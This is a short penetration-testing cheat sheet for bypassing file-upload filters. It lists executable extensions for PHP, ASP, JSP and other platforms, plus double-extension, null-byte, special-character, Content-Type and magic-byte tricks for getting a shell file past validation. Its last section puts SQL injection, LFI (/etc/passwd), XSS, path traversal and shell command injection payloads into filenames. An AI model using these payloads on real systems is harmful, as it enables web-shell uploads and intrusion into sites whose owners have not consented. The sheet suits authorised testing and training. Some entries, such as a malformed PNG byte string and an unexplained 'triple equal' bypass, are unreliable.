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# Insecure File Upload

## Defaults extensions

#### PHP

```bash
.php
.php2
.php3
.php4
.php5
.php7
.pht
.shtml
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
.htaccess
```

#### ASP

```
.asp
.aspx
.cer
.asa
.ashx
.asmx
.axd
.cshtm
.cshtml
.rem
.soap
```

#### JSP

```
.jsp
.jspx
.jsw
.jspf
.jsv
.wss
.do
.action
```

#### Perl

```
.pl
.pm
.cgi
.lib
```

#### Coldfusion

```
.cfm
.cfml
.cfc
.dbm
```

#### Flash

```
.swf
```

#### Erland Yaws Web Server

```
.yaws
```

## Bypasses

### Double extensions

```bash
file.jpg.php
file.php.jpg
file.php.blah123jpg
file.png.php
file.png.Php5
file.php%00.png
file.php%0d%0a.png
file.php%0a.png
file.php\x00.png
```

### Null byte

```
file.php%00.gif
file.php\x00.gif
file.php%00.png
file.php\x00.png
file.php%00.jpg
file.php\x00.jpg
```

### Special characters

```bash
file.php......
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.pHp5....
file.%E2%80%AEphp.jpg
```

### Content-type Bypass

```bash
#Original name but different content-type
Content-Type: image/jpeg
Content-Type: image/gif
Content-Type: image/png
```

### Magic bytes

```bash
#Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a
GIF: GIF8
```

### Triple equal

```
/?file=shell.php    <-- Blocked
/?file===shell.php  <-- Bypassed
```

### Filename Vulnerabilities:

```bash
#Time-Based SQLi Payloads
poc.js'(select*from(select(sleep(20)))a)+'.extension

#LFI Payloads
image.png../../../../../../../etc/passwd

#XSS Payloads
'"><img src=x onerror=alert(document.domain)>.extension

#File Traversal
../../../tmp/lol.png

#Command Injection
; sleep 10;
```


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